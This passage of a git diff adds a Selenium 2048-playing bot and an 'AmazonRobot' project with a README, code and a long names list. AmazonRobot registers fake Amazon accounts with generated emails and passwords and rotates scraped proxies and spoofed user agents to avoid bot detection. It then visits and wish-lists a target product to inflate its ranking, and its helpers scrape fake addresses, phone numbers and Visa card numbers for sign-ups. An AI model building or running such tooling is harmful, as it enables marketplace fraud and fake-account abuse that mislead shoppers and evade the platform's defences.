+        CounterTurnDown += 1
+        ScoreCheck += dScore
+    elif decision == "right":
+        CounterTurnRight += 1
+        ScoreCheck += rScore
+    elif decision == "up":
+        CounterTurnUp += 1
+        ScoreCheck += uScore
+    elif decision == "left":
+        CounterTurnLeft += 1
+        ScoreCheck += lScore
+    CounterTurn += 1
+
+    if args.loglevel > 0 :
+        if args.loglevel > 1 :
+            print decision.upper()
+    else :
+        sys.stdout.write("\rTurn: %d" %CounterTurn) 
+        sys.stdout.flush()
+
+    return decision
+
+loadNewGame()
+
+while args.debug == True:               #debug mode with old raw_input() interface
+    if args.noanim == True:
+        with open("without-animation.js", "r") as myfile:
+            data = myfile.read().replace('\n', '')
+        Driver.execute_script(data)
+    quit = ["stop", "exit", "quit", "q"]
+    action = ["action", "act"]
+    response = raw_input()
+    if response in action:
+        Driver.save_screenshot("Screenshots/test.png")
+        with open("Screenshots/test.png", "rb") as png:
+            push = phone.push_file(png, "str")
+    elif response in quit:
+        time.sleep(0.1)
+        Driver.close()
+        Driver.quit()
+        sys.exit()
+
+
+while True:
+    seeds = Driver.find_elements_by_class_name("tile")
+    growth(seeds)
+    d = decisionMaker(Garden)
+    if d == "down":
+        Element.send_keys(Keys.ARROW_DOWN)
+    elif d == "right":
+        Element.send_keys(Keys.ARROW_RIGHT)
+    elif d == "up":
+        Element.send_keys(Keys.ARROW_UP)
+    elif d == "left":
+        Element.send_keys(Keys.ARROW_LEFT)
+    elif d == None :
+        time.sleep(0.1)
+    time.sleep(0.1)                         #this small every-turn shit keep selenium out of flooding
+
diff --git a/2048-solver-bot/tests.py b/2048-solver-bot/tests.py
new file mode 100644
index 00000000..8a42bdda
--- /dev/null
+++ b/2048-solver-bot/tests.py
@@ -0,0 +1,30 @@
+import unittest
+import solverbot2048 as s2048
+import snake
+import numpy as np
+
+class TestFuncTests(unittest.TestCase):
+    def test_getPerfectList(self):
+        self.assertEqual(s2048.getPerfectList([2, 4, 8, 4]), [2, 4, 8, 4])
+        self.assertEqual(s2048.getPerfectList([8, 4, 2, 4]), [8, 4, 4, 2])
+
+
+    def test_getPerfectDiff(self):
+        self.assertEqual(s2048.getPerfectDiff([2, 4, 8, 4]), 0)
+        self.assertEqual(s2048.getPerfectDiff([4, 2, 8, 4]), -5)
+
+
+    def test_snake(self):
+        a = np.ndarray((4,4), int)
+        s = snake.SnakeUnfolder(a)
+        siter = iter(s)
+
+        for i in range(4*4):
+            x,y = siter.nextcoords()
+            a[y,x] = i
+
+        print a
+
+
+if __name__ == '__main__':
+    unittest.main()
\ No newline at end of file
diff --git a/2048-solver-bot/without-animation.js b/2048-solver-bot/without-animation.js
new file mode 100644
index 00000000..d5337104
--- /dev/null
+++ b/2048-solver-bot/without-animation.js
@@ -0,0 +1,4 @@
+var css = document.createElement("style");
+css.type = "text/css";
+css.innerHTML = ".app-notice { display : none !important; } .tile { -webkit-transition : none !important; transition : none !important; } .tile-merged .tile-inner { -webkit-animation : none !important; animation : none !important; } .tile-new .tile-inner { -webkit-animation : none !important; animation : none !important; }";
+document.body.appendChild(css);
\ No newline at end of file
diff --git a/AmazonRobot/Main.py b/AmazonRobot/Main.py
new file mode 100644
index 00000000..98e42f13
--- /dev/null
+++ b/AmazonRobot/Main.py
@@ -0,0 +1,47 @@
+# -*- coding: utf-8 -*-
+# @Author: LC
+# @Date:   2016-08-31 20:58:46
+# @Last modified by:   LC
+# @Last Modified time: 2017-03-23 17:20:39
+# @Email: liangchaowu5@gmail.com
+
+import time 
+from Robot import Robot
+from get_proxy_and_user_information.GetProxy import get_valid_proxy 
+
+if __name__ == '__main__':
+    # provide the informaion of the product on Amazon, including asin and words for searching
+    asin = 'B0131A19HS'
+    #asin = 'B002NSMFOQ'
+    search_words = 'shower curtain rings'
+    add_to_cart_probability = 0.7
+    while True:
+        proxy = get_valid_proxy('https://www.amazon.com', 'china_ips')
+        robot = Robot(proxy)
+        ###############################################
+        # sign in and browse
+        ###############################################
+        """
+        robot.sign_in()
+        # one item
+        robot.search_keywords(search_words)
+        robot.simulate_browsing(search_words, asin, add_to_cart_probability)
+        # another item
+        # ....
+        """
+        ###############################################
+        # sign up
+        ############################################### 
+        #normal sign up
+        """
+        user_info = robot.generate_sign_up_user(random_password=True)
+        robot.sign_up(user_info)
+        """
+    
+        # sign up
+        user_info = robot.generate_sign_up_user(random_password=True)
+        robot.sign_up(user_info)
+        time.sleep(5)
+        #robot.search_keywords(search_words)
+        robot.simulate_browsing(search_words, asin, add_to_cart_probability)
+        robot.exit_driver()
\ No newline at end of file
diff --git a/AmazonRobot/README.md b/AmazonRobot/README.md
new file mode 100644
index 00000000..42cff6e6
--- /dev/null
+++ b/AmazonRobot/README.md
@@ -0,0 +1,35 @@
+
+# 模拟访问亚马逊商品的爬虫
+
+`AmazonRobot` 是通过 `python` 实现的一个通过脚本自动访问[Amazon][1]上的商品的爬虫程序。主要实现了用户注册、根据给出的搜索词语和商品的 `asin` 号进行搜索并访问商品、按照一定概率将商品加入购物车等。同时通过动态修改UA ,维护代理池， 控制爬取速率防止被识别出是爬虫。由于需要解析网页的 JS 代码，整个代码主要依靠 `selenium` 来解析 JS 代码。
+
+用到的数据库有 `Redis` 和 `MySQL`，`Redis` 主要用于存储代理池、用于注册的一些用户信息(姓名，电话，地址，visa卡等)；`MySQL`用于存储被访问的商品的一些信息（asin号，访问日期，日pv量，商品的排名等）。**需要先在代码中指定这两个数据库的地址**。
+
+
+除了 `selenium`， 还依赖的第三方库有：`redis`, `MySQLdb`, `requests`, `bs4`,  `user_agent`；python版本为2.7
+
+整个代码的结构如下：
+```
+├── Main.py                         # 主程序入口
+├── Robot.py                        # 模拟访问的Robot类
+├── get_proxy_and_user_information  # 抓取代理和用户信息，存入Redis
+│   ├── ConnectRedis.py             # 需要在该文件中指定 Redis 数据库的地址
+│   ├── GetProxy.py
+│   ├── GetUserInfo.py
+│   ├── IgnoreWarnings.py
+│   ├── __init__.py
+├── record_product_information      # 更新商品在 MySQL 中的信息
+│   ├── create_table.sql
+│   ├── GetProductRank.py
+│   ├── VisitRecord.py              # 需要在该文件中指定 MySQL 数据库的地址
+│   ├── __init__.py
+└── scripts                         
+    ├── Alarm.py                    # 用于检测主机是否宕机的脚本
+    └── ChangeMacAddress.py         # 更改主机 mac 地址      
+```
+
+上面最后的一个文件`ChangeMacAddress.py`可用于更改主机 mac 地址（目前支持 ubuntu 16.0 和 centos6.0），原来是为了防止被识别出是爬虫而写的，但是后来想想实际上并不能起到这个作用。从计算机网络的知识可知，数据包的mac地址每经过一次转发mac地址都会改变，原因是以太网在链路层中通过arp广播建立arp表用于 IP 和 mac 地址的映射关系，然后进行转发，当数据包从链路层出来后，实际上是根据 mac 地址去查找目的主机去转发的，因此数据包在转发过程中IP地址不变(NAT之类的除外)，而mac地址每转发一次就改变一次。显然，我们的网络跟亚马逊的网络不是直连的，因此mac地址肯定会改变多次。
+
+最后，通过 `selenium` 实现的爬虫实际上是非常消耗内存和CPU的，所以这样访问的效率会非常低下，在实验过程中对于流量较小的商品曾试过一周内将其从第五页推到首页，但是对于流量较大的商品作用就很小了。建议调试的时候带 GUI ，而在服务器运行的时候通过 `xvfb` 替代GUI，同时结合 `Ansible` 等实现主机群管理。
+
+  [1]: https://www.amazon.com/
\ No newline at end of file
diff --git a/AmazonRobot/Robot.py b/AmazonRobot/Robot.py
new file mode 100644
index 00000000..9ffc969f
--- /dev/null
+++ b/AmazonRobot/Robot.py
@@ -0,0 +1,282 @@
+# -*- coding: utf-8 -*-
+# @Author: LC
+# @Date:   2016-08-15 22:34:08
+# @Last modified by:   LC
+# @Last Modified time: 2017-03-23 17:25:42
+# @Email: liangchaowu5@gmail.com
+
+###################################################################################
+# Function: simulate some actions manipulated by humans with gui, including:
+# 1. sign up and sign in
+# 2. search keywords and visit target product
+# 3. add product to cart
+###################################################################################
+
+
+import time
+import random
+import requests
+import redis
+import sys
+import string
+
+from user_agent import generate_user_agent
+from selenium import webdriver
+from selenium.common.exceptions import NoSuchElementException
+from selenium.webdriver.common.proxy import *
+
+# change mac address is useless
+# from scripts.ChangeMacAddress import change_mac_address, generate_mac_address 
+from get_proxy_and_user_information.ConnectRedis import get_connection
+from get_proxy_and_user_information.IgnoreWarnings import ignore_warnings
+from get_proxy_and_user_information.GetProxy import get_valid_proxy
+from record_product_information.VisitRecord import update_record
+
+
+
+class Robot:
+    def __init__(self, proxy):
+        """init the webdriver by setting the proxy and user-agent
+        
+        Args:
+            proxy (str): proxy in the form of ip:port
+        """
+        # set proxy
+        ip, port = proxy.split(':')
+        profile = webdriver.FirefoxProfile()
+        profile.set_preference("network.proxy.type", 1)
+        profile.set_preference("network.proxy.http", ip)
+        profile.set_preference("network.proxy.http_port", port)
+        # set user_agent
+        profile.set_preference("general.useragent.override", generate_user_agent())
+
+        profile.update_preferences()
+        self.driver = webdriver.Firefox(firefox_profile=profile)
+        
+        print 'current proxy: %s'%proxy
+
+
+    def sign_up(self, sign_up_form, sign_up_url = r'https://www.amazon.com/ap/register?_encoding=UTF8&openid.assoc_handle=usflex&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.ns.pape=http%3A%2F%2Fspecs.openid.net%2Fextensions%2Fpape%2F1.0&openid.pape.max_auth_age=0&openid.return_to=https%3A%2F%2Fwww.amazon.com%2Fgp%2Fyourstore%2Fhome%3Fie%3DUTF8%26ref_%3Dnav_custrec_newcust'):
+        """sign up with randomly generate user
+        
+        Args:
+            sign_up_form (dict): some infomation required to sign up: name, e-mail and password
+            sign_up_url (str, optional): url to sign up, custom url can jumps to the target url after signing up
+        """
+        # generate and change mac address 
+        # mac = generate_mac_address()
+        #change_mac_address(mac)
+        try:
+            self.driver.get(sign_up_url)
+            for k,v in sign_up_form.items():
+                inputElement = self.driver.find_element_by_name(k)
+                inputElement.send_keys(v)
+                time.sleep(5)
+            inputElement.submit()
+            user_info = sign_up_form['email']+'#'+sign_up_form['password']+'#'+mac
+            self.store_registered_user(user_info)
+        except Exception, e:
+            print 'Error while signing up\n%s'%e.message
+            self.exit_driver()
+            sys.exit(0)
+        
+
+    def sign_in(self, sign_in_url = r'https://www.amazon.com/ap/signin?_encoding=UTF8&openid.assoc_handle=usflex&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.ns.pape=http%3A%2F%2Fspecs.openid.net%2Fextensions%2Fpape%2F1.0&openid.pape.max_auth_age=0&openid.return_to=https%3A%2F%2Fwww.amazon.com%2F%3Fref_%3Dnav_signin'):
+        """sign in with a registered user
+        
+        Args:
+            sign_in_url (str, optional): url to sign in, custom url can jumps to the target url after signing in
+        """
+        sign_in_form = {}
+        try:
+            # randomly get a user from redis
+            r = get_connection(DB = 1)
+            info = r.srandmember('china_users',1)[0].split('#')
+            if len(info) == 3:
+                mail_box, passwd, mac = info
+            elif len(info) == 2:
+                mail_box, mac = info
+                passwd = 'ScutAmazon1234$'
+            #change_mac_address(mac)
+            sign_in_form = {'email':mail_box, 'password':passwd}
+            
+            # sign_in
+            self.driver.get(sign_in_url)
+            for k,v in sign_in_form.items():
+                inputElement = self.driver.find_element_by_name(k)
+                inputElement.send_keys(v)
+                time.sleep(5)
+            inputElement.submit()
+        except Exception, e:
+            print 'Error while getting a user from redis and signing in\n%s'%e.message
+            self.exit_driver()
+            sys.exit(0)
+                
+
+    def simulate_browsing(self, words, asin , possibility, qid = None):
+        """generate target url in terms of key words to search the item and the asin of the item,
+           visit the url and add to cart within certain probability
+        
+        Args:
+            words (str): words used to search items, seperated by space
+            asin (str): ASIN of the item
+            possibility (flaot): probability of adding item to cart
+        """
+        key_words = '+'.join(words.split())
+        if qid:
+            target_url = 'https://www.amazon.com/dp/%s/ie=UTF8&qid=%s&keywords=%s' %(asin, qid, key_words)
+        else:
+            target_url = 'https://www.amazon.com/dp/%s/ie=UTF8&keywords=%s' %(asin, key_words)
+        #self.search_keywords(key_words)
+        try:
+            self.driver.get(target_url)
+            update_record(asin, key_words, 'pv', number=1)
+            time.sleep(10)
+            """
+            if random.random()< possibility:
+                self.add_to_cart()
+                time.sleep(5)
+                update_record(asin, key_words, 'cart', number=1)
+                print '========successfully add item to cart======'
+            """
+            # add to wish list
+            wish_list = '#add-to-wishlist-button-submit'
+            self.driver.find_element_by_css_selector(wish_list).click()
+            time.sleep(15)
+            # alert = self.driver.switch_to_alert() # NoAlertPresentException
+            
+        except ValueError, e:
+            print 'Error while visiting %s\n%s'%(target_url, e.message)
+            #self.exit_driver()
+            sys.exit(0)
+
+
+    def search_keywords(self, words):
+        """type in keywords to search on the index page of amazon
+        
+        Args:
+            words (str): words used to search items, seperated by space
+        """
+        try:
+            self.driver.get(r'https://www.amazon.com/')
+            inputElement = self.driver.find_element_by_name('field-keywords')
+            inputElement.send_keys(words)
+            inputElement.submit()
+        except Exception, e:
+            print 'Error while searching keywords\n%s'%e.message
+            self.exit_driver()
+            sys.exit(0)
+            
+
+    def add_to_cart(self):
+        """add item to cart"""
+        cart = '#add-to-cart-button'
+        try:
+            self.driver.find_element_by_css_selector(cart).click()
+            print '================successfully add to cart==================='
+            time.sleep(5)
+        except Exception,e:
+            print 'Error while adding item to cart\n%s'%e.message
+            self.exit_driver()
+            sys.exit(0)
+        
+
+    def generate_sign_up_user(self, random_password = False):
+        """ramdomly generate a user to sign up
+        
+        Args:
+            random_password (bool, optional): use uniform password or specific password
+        """
+        # user name
+        conn = get_connection(DB=3)
+        user_name = conn.srandmember('user_name', 1)[0]
+        
+        # mail box
+        prefix  = string.digits+string.lowercase
+        postfix = ['@126.com', '@163.com', '@sina.com', '@gmail.com', '@139.com', '@foxmail.com']
+        prefix_len = random.randint(5,12)
+        mail = ''
+        for i in xrange(prefix_len):
+            mail += random.choice(prefix)
+        mail_box = mail+random.choice(postfix)
+
+        # password
+        if random_password:
+            candidates = string.digits+string.letters+'!@$%&*+-_'
+            passwd = ''
+            for i in xrange(random.randint(7,17)):
+                passwd += random.choice(candidates)
+        else:
+            passwd = 'ScutAmazon1234$'
+
+        sign_up_form = {'customerName':user_name, 'email':mail_box, 'password':passwd, 'passwordCheck':passwd}
+        return sign_up_form
+
+
+    def store_registered_user(self, user_info):
+        """store infomation of registered user in redis
+        
+        Args:
+            user_info (str): infomation of registered user in the form of  mail#password#mac or mail#mac
+        """
+        try:
+            if len(user_info.split('#')) == 3:
+                DB = 2
+                user_set = 'valid_users'
+            elif len(user_info.split('#')) == 2:
+                DB = 1
+                user_set = 'china_users'
+            else:
+                print 'Error while storing user in redis, wrong format of user infomation\n %s'%info
+                sys.exit(0)
+
+            conn = get_connection(DB = DB)
+            conn.sadd(user_set, user_info)
+            print '===========successfully add user %s to reids:%s:%s==============' %(user_info, DB, user_set)
+        except Exception, e:
+            print 'Error while adding registered user to redis\n %s'%(e.message)
+            sys.exit(0)
+
+
+    def exit_driver(self):
+        """exit the webdriver"""
+        try:
+            self.driver.quit()
+        except Exception, e:
+            print 'Error while exiting the web driver\n%s'%e.message
+
+
+if __name__ == '__main__':
+    asin = 'B002NSMFOQ'
+    words = 'shower curtain rings'
+    add_to_cart_probability = 0.7
+    while True:
+        proxy = get_valid_proxy('https://www.amazon.com', 'china_ips')
+        robot = Robot(proxy)
+        ###############################################
+        # sign in and browse
+        ###############################################
+        robot.sign_in()
+        # one item
+        #robot.search_keywords(words)
+        robot.simulate_browsing(words, asin, add_to_cart_probability)
+        # another item
+        # ....
+        """
+        ###############################################
+        # sign up
+        ############################################### 
+        user_info = robot.generate_sign_up_user(random_password=True)
+        robot.sign_up(user_info)
+        time.sleep(5)
+        robot.search_keywords(words)
+        robot.simulate_browsing(words, asin, add_to_cart_probability)
+        robot.exit_driver()
+        """
+
+
+        
+
+
+
+    
diff --git a/AmazonRobot/get_proxy_and_user_information/ConnectRedis.py b/AmazonRobot/get_proxy_and_user_information/ConnectRedis.py
new file mode 100644
index 00000000..4133d352
--- /dev/null
+++ b/AmazonRobot/get_proxy_and_user_information/ConnectRedis.py
@@ -0,0 +1,41 @@
+# -*- coding: utf-8 -*-
+# @Author: LC
+# @Date:   2016-07-10 16:50:47
+# @Last modified by:   LC
+# @Last Modified time: 2017-03-23 18:51:08
+# @Email: liangchaowu5@gmail.com
+
+###############################################################################################################
+# Function: get a connection to redis
+#
+# details of dbs of redis:
+# db0(proxy): china_ips, american_ips, amazon_ips, 
+# db1(registered users, same password(SCutAmazon1234$), "mail#mac"): china_users, china_user_1, china_user_2
+# db2(registered users, specific password, "mail#password#mac"): valid_users
+# db3(user infomation for registering): user_name, address, name_phone, name_visa_expire
+###############################################################################################################
+
+
+import redis
+
+
+def get_connection(HOST = 'XXXX', PORT = 6379, PASSWORD = 'XXXX', DB = 0):
+    """get a connection to redis
+    
+    Args:
+        HOST (str, optional): IP of redis server
+        PORT (int, optional): the port that redis server listening
+        PASSWORD (str, optional): password to the redis-server
+        DB (int, optional): number of the db(0~15), default 0
+    """
+    r = redis.Redis(host = HOST, port = PORT, password = PASSWORD, db= DB)
+    return r
+
+
+if __name__ == '__main__':
+    # manipulation on set
+    ip_set = 'amazon_ips'
+    r = get_connection()
+    proxy = r.srandmember(ip_set, 5)
+    r.srem(ip_set, proxy[0])
+    print proxy
diff --git a/AmazonRobot/get_proxy_and_user_information/GetProxy.py b/AmazonRobot/get_proxy_and_user_information/GetProxy.py
new file mode 100644
index 00000000..a44a73d2
--- /dev/null
+++ b/AmazonRobot/get_proxy_and_user_information/GetProxy.py
@@ -0,0 +1,124 @@
+# -*- coding: utf-8 -*-
+# @Author: LC
+# @Date:   2016-07-04 21:04:49
+# @Last modified by:   LC
+# @Last Modified time: 2016-08-14 10:57:52
+# @Email: liangchaowu5@gmail.com
+
+##########################################################################
+# Function: 
+# 1. fetch proxies from site: http://www.xicidaili.com/,store them in redis
+# 2. get a valid proxy for a certain site 
+##########################################################################
+
+
+import random
+import time
+import sys
+
+import requests
+from bs4 import BeautifulSoup
+from user_agent import generate_user_agent
+
+from ConnectRedis import get_connection
+from IgnoreWarnings import ignore_warnings
+
+
+# proxies from different countries
+CHINA = r'http://www.xicidaili.com/nn/' # china
+OTHER = r'http://www.xicidaili.com/wn/' # other countries
+
+
+def get_proxies(proxy_type, ip_set, start_page, end_page):
+    """extract proxies from page source code, store them in redis
+    
+    Args:
+        proxy_type (str): base url for proxy type, like the global variables CHINA and OTHER
+        ip_set (str): which set should the ips be stored in redis
+        start_page (int):  which page to start crawling
+        end_page (int): which page to stop crawling
+    """
+    try:
+        conn = get_connection()
+    except Exception:
+        print 'Error while connecting to redis'
+        return
+    proxies, curr_proxy =[], None
+    for page in xrange(start_page, end_page+1):
+        if page % 2 == 0:
+            time.sleep(20)
+        # get page source code
+        headers = {'user-agent': generate_user_agent(), 'referer': 'http://www.xicidaili.com/'}
+        text = requests.get(proxy_type+str(page), headers = headers).text
+        # extract ips from source code
+        soup = BeautifulSoup(text, 'lxml')
+        for tr in soup.find_all('tr')[1:]:
+            tds = tr.find_all('td')
+            #if u'美国' in tds[3].text:
+            proxy = tds[1].text+':'+tds[2].text               
+            if is_valid('https://www.amazon.com/', proxy):
+                conn.sadd(ip_set, proxy)
+                print '%s added to ip set %s' %(proxy, ip_set)
+            
+
+
+def get_valid_proxy(target_url, ip_set, referer = 'https://www.google.com'):
+    """extract a valid proxy for target_url from redis
+    
+    Args:
+        target_url (str): url that need to visite with a proxy
+        ip_set (str): the set in redis that stores proxies
+        referer (str, optional): referer to construct headers for testing whether proxy is valid 
+    
+    Returns:
+        curr_proxy(str): a valid proxy in the format of ip:port
+    """
+    try:
+        conn = get_connection()
+        proxies = conn.srandmember(ip_set, 5)
+        curr_proxy  = proxies.pop()
+        # if proxy is not valid, delete it from redis
+        while not is_valid(target_url, curr_proxy, referer):
+            conn.srem(ip_set, curr_proxy)
+            if len(proxies) == 0:
+                proxies = conn.srandmember(ip_set, 5)
+            curr_proxy = proxies.pop()
+        return curr_proxy
+    except Exception, e:
+        print 'Error while getting proxy from redis\n%s'%e.message
+        sys.exit(0)
+
+
+
+def is_valid(target_url, ip, referer):
+    """judge if a proxy ip is valid for target_url
+    
+    Args:
+        target_url (str): url that need to visite with a proxy
+        ip (str): the set in redis to get 
+        referer (str, optional): referer part of  headers  of the request
+    
+    Returns:
+        boolean
+    """
+    ignore_warnings()
+    proxy = {
+    'http': 'http://%s' %ip
+    }
+    headers = {'user-agent': generate_user_agent(), 'referer': referer}
+    try:
+        r = requests.get(target_url, headers = headers, proxies = proxy, timeout = 6)
+        return True
+    except Exception:
+        return False
+
+
+
+if __name__ == '__main__':
+    # disable the warnings from https website
+    ignore_warnings()
+    while True:
+        get_proxies(CHINA, 'china_ips', 1,230)
+        time.sleep(600)
+    
+
diff --git a/AmazonRobot/get_proxy_and_user_information/GetUserInfo.py b/AmazonRobot/get_proxy_and_user_information/GetUserInfo.py
new file mode 100644
index 00000000..67b735f5
--- /dev/null
+++ b/AmazonRobot/get_proxy_and_user_information/GetUserInfo.py
@@ -0,0 +1,114 @@
+# -*- coding: utf-8 -*-
+# @Author: LC
+# @Date:   2016-08-08 21:49:50
+# @Last modified by:   LC
+# @Last Modified time: 2017-03-23 17:01:54
+# @Email: liangchaowu5@gmail.com
+
+#########################################################################################
+# Function: fetch user infomation, including address, phone, visa, names, and store them in redis
+# 1. fetch american address from https://fakena.me/random-real-address/
+# 2. fetch phone, visa from http://www.fakeaddressgenerator.com/World/us_address_generator
+# 3. import user names from local file "names" into redis
+#########################################################################################
+ 
+
+
+import re
+import time
+
+import requests
+from bs4 import BeautifulSoup 
+from user_agent import generate_user_agent
+
+from GetProxy import get_valid_proxy
+from IgnoreWarnings import ignore_warnings
+from ConnectRedis import get_connection
+
+
+
+def get_address(proxy):
+    """fetch american address from https://fakena.me/random-real-address/
+    
+    Args:
+        proxy (str): proxy to visit the target site, ip:port
+    
+    Returns:
+        format_addr (str): american address in the form of "address_line # city # state # zip"
+    """
+    ignore_warnings()
+    url = r'https://fakena.me/random-real-address/'
+    referer = r'https://fakena.me'
+    header = {'user-agent' : generate_user_agent() , 'referer':referer }
+    curr_proxy ={
+    'http': 'http://%s'%proxy
+    }
+
+    text = requests.get(url, headers = header, proxies = curr_proxy).text
+    pattern = re.compile('<strong>(.+)<br>(.+)</strong>')
+    result = re.findall(pattern, text)
+    if result: # sometimes the result is empty
+        print result[0][0], result[0][1]
+        address_line = result[0][0]
+        city, state_zip = result[0][1].split(',')
+        state, zip = state_zip.split()
+        format_addr = address_line+'#'+city+'#'+state+'#'+zip
+        return format_addr
+    else:
+        return ''
+
+
+def get_phone_visa():
+    """fetch phone, visa from http://www.fakeaddressgenerator.com/World/us_address_generator"""
+    url = r'http://www.fakeaddressgenerator.com/World/us_address_generator'
+    referer = r'http://www.fakeaddressgenerator.com/World'
+    header = {'user-agent' : generate_user_agent() , 'referer':referer }
+    text = requests.get(url, headers = header).text
+    soup = BeautifulSoup(text, 'lxml')
+    info = soup.find_all('input')
+    """
+    print 'name:',info[0]['value']
+    print 'phone:',info[9]['value']
+    print 'visa:',info[11]['value']
+    print 'expires:',info[13]['value']
+    """
+    name_phone =  info[0]['value']+'#'+info[9]['value']
+    name_visa = info[0]['value']+'#'+info[11]['value']+'#'+info[13]['value']
+    print name_phone, name_visa
+    return name_phone, name_visa
+
+
+def get_user_names():
+    r = get_connection(DB=1)
+    with open('names') as f:
+        for line in f:
+            # print line.strip().title()
+            r.sadd('user_name', line.strip().title())
+
+
+if __name__ == '__main__':
+    r = get_connection(DB = 3)
+    crawl_address, crawl_phone_visa = True, False
+    if crawl_address:
+        count = 0
+        while True:
+            if count % 10 == 0:
+                proxy = get_valid_proxy('https://fakena.me/random-real-address/', 'china_ips', referer = r'https://fakena.me')
+                print 'current proxy: %s'%proxy
+            addr = get_address(proxy) 
+            if addr:   
+                r.sadd('address', addr)
+                print 'successfully add address %s to redis'%addr
+            count += 1
+            time.sleep(5)
+    elif crawl_phone_visa:
+        while True:
+            name_phone, name_visa = get_phone_visa()
+            r.sadd('name_phone', name_phone)
+            r.sadd('name_visa', name_visa)
+            print 'successfully add phone:%s, visa:%s to redis'%(name_phone, name_visa)
+            time.sleep(5)
+    else:
+        print 'nothing to crawel'
+
+
diff --git a/AmazonRobot/get_proxy_and_user_information/IgnoreWarnings.py b/AmazonRobot/get_proxy_and_user_information/IgnoreWarnings.py
new file mode 100644
index 00000000..09dc401c
--- /dev/null
+++ b/AmazonRobot/get_proxy_and_user_information/IgnoreWarnings.py
@@ -0,0 +1,21 @@
+# -*- coding: utf-8 -*-
+# @Author: LC
+# @Date:   2016-07-11 22:31:51
+# @Last modified by:   LC
+# @Last Modified time: 2016-08-14 09:29:00
+# @Email: liangchaowu5@gmail.com
+
+###########################################################
+# function: ignore the warnings when visiting https website
+###########################################################
+
+import requests
+
+
+from requests.packages.urllib3.exceptions import  InsecurePlatformWarning,InsecureRequestWarning, SubjectAltNameWarning, SNIMissingWarning
+
+def ignore_warnings():
+    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
+    requests.packages.urllib3.disable_warnings(SubjectAltNameWarning)
+    requests.packages.urllib3.disable_warnings(InsecurePlatformWarning)
+    requests.packages.urllib3.disable_warnings(SNIMissingWarning)
\ No newline at end of file
diff --git a/AmazonRobot/get_proxy_and_user_information/__init__.py b/AmazonRobot/get_proxy_and_user_information/__init__.py
new file mode 100644
index 00000000..1a59e4ae
--- /dev/null
+++ b/AmazonRobot/get_proxy_and_user_information/__init__.py
@@ -0,0 +1,6 @@
+# -*- coding: utf-8 -*-
+# @Author: LC
+# @Date:   2017-03-23 17:14:51
+# @Last modified by:   LC
+# @Last Modified time: 2017-03-23 17:14:55
+# @Email: liangchaowu5@gmail.com
diff --git a/AmazonRobot/get_proxy_and_user_information/names b/AmazonRobot/get_proxy_and_user_information/names
new file mode 100644
index 00000000..2e3d9ad3
--- /dev/null
+++ b/AmazonRobot/get_proxy_and_user_information/names
@@ -0,0 +1,99683 @@
+James
+John
+Robert
+Michael
+William
+David
+Richard
+Charles
+Joseph
+Thomas
+Christopher
+Daniel
+Paul
+Mark
+Donald
+George
+Kenneth
+Steven
+Edward
+Brian
+Ronald
+Anthony
+Kevin
+Jason
+Matthew
+Gary
+Timothy
+Jose
+Larry
+Jeffrey
+Frank
+Scott
+Eric
+Stephen
+Andrew
+Raymond
+Gregory
+Joshua
+Jerry
+Dennis
+Walter
+Patrick
+Peter
+Harold
+Douglas
+Henry
+Carl
+Arthur
+Ryan
+Roger
+Joe
+Juan
+Jack
+Albert
+Jonathan
+Justin
+Terry
+Gerald
+Keith
+Samuel
+Willie
+Ralph
+Lawrence
+Nicholas
+Roy
+Benjamin
+Bruce
+Brandon
+Adam
+Harry
+Fred
+Wayne
+Billy
+Steve
+Louis
+Jeremy
+Aaron
+Randy
+Howard
+Eugene
+Carlos
+Russell
+Bobby
+Victor
+Martin
+Ernest
+Phillip
+Todd
+Jesse
+Craig
+Alan
+Shawn
+Clarence
+Sean
+Philip
+Chris
+Johnny
+Earl
+Jimmy
+Antonio
+Danny
+Bryan
+Tony
+Luis
+Mike
+Stanley
+Leonard
+Nathan
+Dale
+Manuel
+Rodney
+Curtis
+Norman
+Allen
+Marvin
+Vincent
+Glenn
+Jeffery
+Travis
+Jeff
+Chad
+Jacob
+Lee
+Melvin
+Alfred
+Kyle
+Francis
+Bradley
+Jesus
+Herbert
+Frederick
+Ray
+Joel
+Edwin
+Don
+Eddie
+Ricky
+Troy
+Randall
+Barry
+Alexander
+Bernard
+Mario
+Leroy
+Francisco
+Marcus
+Micheal
+Theodore
+Clifford
+Miguel
+Oscar
+Jay
+Jim
+Tom
+Calvin
+Alex
+Jon
+Ronnie
+Bill
+Lloyd
+Tommy
+Leon
+Derek
+Warren
+Darrell
+Jerome
+Floyd
+Leo
+Alvin
+Tim
+Wesley
+Gordon
+Dean
+Greg
+Jorge
+Dustin
+Pedro
+Derrick
+Dan
+Lewis
+Zachary
+Corey
+Herman
+Maurice
+Vernon
+Roberto
+Clyde
+Glen
+Hector
+Shane
+Ricardo
+Sam
+Rick
+Lester
+Brent
+Ramon
+Charlie
+Tyler
+Gilbert
+Gene
+Marc
+Reginald
+Ruben
+Brett
+Angel
+Nathaniel
+Rafael
+Leslie
+Edgar
+Milton
+Raul
+Ben
+Chester
+Cecil
+Duane
+Franklin
+Andre
+Elmer
+Brad
+Gabriel
+Ron
+Mitchell
+Roland
+Arnold
+Harvey
+Jared
+Adrian
+Karl
+Cory
+Claude
+Erik
+Darryl
+Jamie
+Neil
+Jessie
+Christian
+Javier
+Fernando
+Clinton
+Ted
+Mathew
+Tyrone
+Darren
+Lonnie
+Lance
+Cody
+Julio
+Kelly
+Kurt
+Allan
+Nelson
+Guy
+Clayton
+Hugh
+Max
+Dwayne
+Dwight
+Armando
+Felix
+Jimmie
+Everett
+Jordan
+Ian
+Wallace
+Ken
+Bob
+Jaime
+Casey
+Alfredo
+Alberto
+Dave
+Ivan
+Johnnie
+Sidney
+Byron
+Julian
+Isaac
+Morris
+Clifton
+Willard
+Daryl
+Ross
+Virgil
+Andy
+Marshall
+Salvador
+Perry
+Kirk
+Sergio
+Marion
+Tracy
+Seth
+Kent
+Terrance
+Rene
+Eduardo
+Terrence
+Enrique
+Freddie
+Wade
+Austin
+Stuart
+Fredrick
+Arturo
+Alejandro
